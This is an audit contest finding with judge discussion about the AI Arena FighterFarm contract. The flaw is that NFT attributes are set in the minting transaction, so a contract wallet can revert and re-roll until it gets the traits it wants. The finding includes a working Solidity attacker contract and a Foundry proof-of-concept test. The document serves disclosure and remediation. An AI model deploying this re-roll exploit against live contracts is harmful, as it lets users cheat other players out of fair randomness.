Can mint NFT with the desired attributes by reverting transaction

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L484

Vulnerability details

Impact

Can mint NFT with the desired attribute.

Proof of Concept

All the attributes of the NFT that should be randomly determined are set in the same transaction which they're claimed. Therefore, if a user uses a contract wallet, they can intentionally revert the transaction and retry minting if they do not get the desired attribute.

function _createNewFighter(
    address to, 
    uint256 dna, 
    string memory modelHash,
    string memory modelType, 
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
) 
    private 
{  
    require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    uint256 element; 
    uint256 weight;
    uint256 newDna;
    if (customAttributes[0] == 100) {
@>      (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }
    else {
        element = customAttributes[0];
        weight = customAttributes[1];
        newDna = dna;
    }
    uint256 newId = fighters.length;

    bool dendroidBool = fighterType == 1;
@>  FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
        newDna,
        generation[fighterType],
        iconsType,
        dendroidBool
    );
    fighters.push(
        FighterOps.Fighter(
            weight,
            element,
            attrs,
            newId,
            modelHash,
            modelType,
            generation[fighterType],
            iconsType,
            dendroidBool
        )
    );
@>  _safeMint(to, newId);
    FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]);
}

function _createFighterBase(
    uint256 dna, 
    uint8 fighterType
) 
    private 
    view 
    returns (uint256, uint256, uint256) 
{
    uint256 element = dna % numElements[generation[fighterType]];
    uint256 weight = dna % 31 + 65;
    uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
    return (element, weight, newDna);
}

This is PoC.

First, add the PoCCanClaimSpecificAttributeByRevert contract at the bottom of the FighterFarm.t.sol file. This contract represents a user-customizable contract wallet. If the user does not get an NFT with desired attributes, they can revert the transaction and retry minting again.

contract PoCCanClaimSpecificAttributeByRevert {
    FighterFarm fighterFarm;
    address owner;

    constructor(FighterFarm _fighterFarm) {
        fighterFarm = _fighterFarm;
        owner = msg.sender;
    }

    function tryClaim(uint8[2] memory numToMint, bytes memory claimSignature, string[] memory claimModelHashes, string[] memory claimModelTypes) public {
        require(msg.sender == owner, "not owner");
        try fighterFarm.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes) {
            // success to get specific attribute NFT
        } catch {
            // try again next time
        }
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4){

        (,,uint256 weight,,,,) = fighterFarm.getAllFighterInfo(tokenId);
        require(weight == 95, "I don't want this attribute");

        return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)")));
    }
}

Then, add this test to the FighterFarm.t.sol file and run it.

function testPoCCanClaimSpecificAttributeByRevert() public {
    uint256 signerPrivateKey = 0xabc123;
    address _POC_DELEGATED_ADDRESS = vm.addr(signerPrivateKey);

    // setup fresh setting to use _POC_DELEGATED_ADDRESS
    _fighterFarmContract = new FighterFarm(_ownerAddress, _POC_DELEGATED_ADDRESS, _treasuryAddress);
    _helperContract = new AiArenaHelper(_probabilities);
    _mintPassContract = new AAMintPass(_ownerAddress, _POC_DELEGATED_ADDRESS);
    _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
    _mintPassContract.setPaused(false);
    _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);
    _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));
    _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);
    _rankedBattleContract = new RankedBattle(
        _ownerAddress, address(_fighterFarmContract), _POC_DELEGATED_ADDRESS, address(_voltageManagerContract)
    );
    _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));
    _mergingPoolContract =
        new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));
    _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
    _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
    _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
    _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
    _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));

    // --- PoC start ---
    address attacker_eoa = address(0x1337);
    vm.prank(attacker_eoa);
    PoCCanClaimSpecificAttributeByRevert attacker_contract_wallet = new PoCCanClaimSpecificAttributeByRevert(_fighterFarmContract);

    uint8[2] memory numToMint = [1, 0];

    string[] memory claimModelHashes = new string[](1);
    claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    string[] memory claimModelTypes = new string[](1);
    claimModelTypes[0] = "original";

    // get sign
    vm.startPrank(_POC_DELEGATED_ADDRESS);
    bytes32 msgHash = keccak256(abi.encode(
        address(attacker_contract_wallet),
        numToMint[0],
        numToMint[1],
        0, // nftsClaimed[msg.sender][0],
        0 // nftsClaimed[msg.sender][1]
    ));

    bytes memory prefix = "\x19Ethereum Signed Message:\n32";
    bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, msgHash));

    (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, prefixedHash);
    bytes memory claimSignature = abi.encodePacked(r, s, v);
    vm.stopPrank();

    for(uint160 i = 100; _fighterFarmContract.balanceOf(address(attacker_contract_wallet)) == 0; i++){
        vm.prank(attacker_eoa);
        attacker_contract_wallet.tryClaim(numToMint, claimSignature, claimModelHashes, claimModelTypes);

        // other user mints NFT, the fighters.length changes and DNA would be changed
        _mintFromMergingPool(address(i)); // random user claim their NFT
    }

    assertEq(_fighterFarmContract.balanceOf(address(attacker_contract_wallet)), 1);
    uint256 tokenId = _fighterFarmContract.tokenOfOwnerByIndex(address(attacker_contract_wallet), 0);
    (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);
    assertEq(weight, 95);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Users should only request minting, and attributes values should not be determined in the transaction called by the user. When a user claims an NFT, it should only mint the NFT and end. The attribute should be set by the admin or third-party like chainlink VRF after minting so that the user cannot manipulate it.

It’s not about lack of randomless problem, this is about setting attributes at same transaction when minting NFT. Even if you use chainlink, the same bug can happen if you set the attribute and mint NFTs in the same transaction.

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #53

[c4-judge]

HickupHH3 changed the severity to 3 (High Risk)

[c4-judge]

HickupHH3 marked the issue as satisfactory

[c4-judge]

HickupHH3 marked the issue as not a duplicate

[HickupHH3]

Not a dup: RNG can be as robust, but this allows re-rolling as many times until the desired attributes are attained.

[c4-judge]

HickupHH3 marked the issue as selected for report

[c4-judge]

HickupHH3 marked the issue as primary issue

[c4-judge]

HickupHH3 changed the severity to 2 (Med Risk)

[McCoady]

The underlying root cause of this issue remains the same as #1017 and suggests the same mitigation to fix it.

It's true that this issue and it's duplicates provide a clearer proof of concept on how this can directly be exploited but the majority of reports under the #1017 duplicate also outline the same impact & recommended mitigation (using Chainlink VRF).

I think the majority of wardens understand that it is not a lack of entropy problem and that any mitigation that uses same block on-chain randomness would be vulnerable, hence why the recommended mitigations in most of the reports suggest using Chainlink VRF rather than adding extra pseudorandom entropy to the hash.

It may be fairer to reward the issues that showed the clearer PoC full credit and the issues under #1017 be given partials, but IMO they don't warrant being two separate issues.

[klau5dev]

I don't think the root cause is the same. The root cause of this vulnerability is that regardless of whether the attribute is pseudo-random or random, if you don't like the result, you can revert the transaction to cancel the minting.

Chainlink VRF is recommended for implementing random functionality because it is known to be best practice, and because it is more decentralized way, better fit for web3 projects. However, even if VRF is used and resolves pseudo-random, incorrectly integrating VRF can lead to the same vulnerability as this issue. Even when randomness is guaranteed by VRF, problems can still occur, so the root cause is different.

In other words, recommending the use of VRF does not mean that it is a duplicate vulnerability. To be considered duplicate, it should be pointed out that even with VRF, they must first mint the NFT to force the user's hook to not be called after setting attributes. More precisely, it should point out that control should not go to the user in the transaction that sets the attribute.

[McCoady]

Just to be clear, using Chainlink VRF does not return the random words within the same transaction the randomness is requested in (see requestConfirmations here), so the user would not know their result in time to choose to revert or not.

[klau5dev]

If it mints NFT at fulfillRandomWords, it also call receive hook and user can revert it. But this implementation can cause DoS so it is not best practice of VRF. Best practice is just save random number at fulfillRandomWords and user calls the function which consume random value, or just set attributes(not mint NFT) at fulfillRandomWords.

If NFT is minted at that consume function, or user calls consume function by their attack contract then user still can revert it. Whether attributes are still manipulatable or not depends on the implementation(How to consume the random value? If the user reverts and try it later again, can attribute be changed?). If developer use VRF without these concerns, the same issue would occur even with random value.

Finally, VRF is not the only way to get randomness. For simple example, admin can just give random value generated at server with signature. But revert issue still remains. VRF can remove multiple problems, but I think that doesn't mean the root cause of multiple issues are same.

[McCoady]

I think anyone would suggest fulfillRandomWords should not do anything other than provide the random values for the already minted NFT, and you even agree "it is not best practice of VRF". So it seems in bad faith to be arguing about an issue based on the protocol teams hypothetical incorrect mitigation of the issue.

I'll leave it up to the judge's decision from here as I think we've both added sufficient context for either side of the issue.

[c4-judge]

HickupHH3 marked the issue as duplicate of #1017

[klau5dev]

Some teams don't choose VRF because it costs LINK or their business reason. The reason I used chainlink as an explanation is to show difference root cause with #1017

I think same impact and same mitigation does not mean same root cause. If the bug is one line and mitigation is same, then it can be same root cause, but applying VRF is huge change. Huge change can remove many problems, but it does not mean that all problems has same root cause. I think 'Not using VRF' cannot be root cause.

This is final statement of mine, thank you for share your opinion.

[HickupHH3]

Agree with this as the root cause (from the original report)

t’s not about lack of randomless problem, this is about setting attributes at same transaction when minting NFT. Even if you use chainlink, the same bug can happen if you set the attribute and mint NFTs in the same transaction.

FWIW, the fixes reduce the pseduorandomness further, making the attributes more deterministic, but non-manipulatable in the sense that the attributes stays constant till someone actually mints the NFT. https://github.com/code-423n4/2024-02-ai-arena-findings/issues/1017#issuecomment-2004646057

[c4-judge]

HickupHH3 marked the issue as not a duplicate

[c4-judge]

HickupHH3 marked the issue as primary issue

[SonnyCastro]

Mitigated here

[c4-sponsor]

brandinho (sponsor) confirmed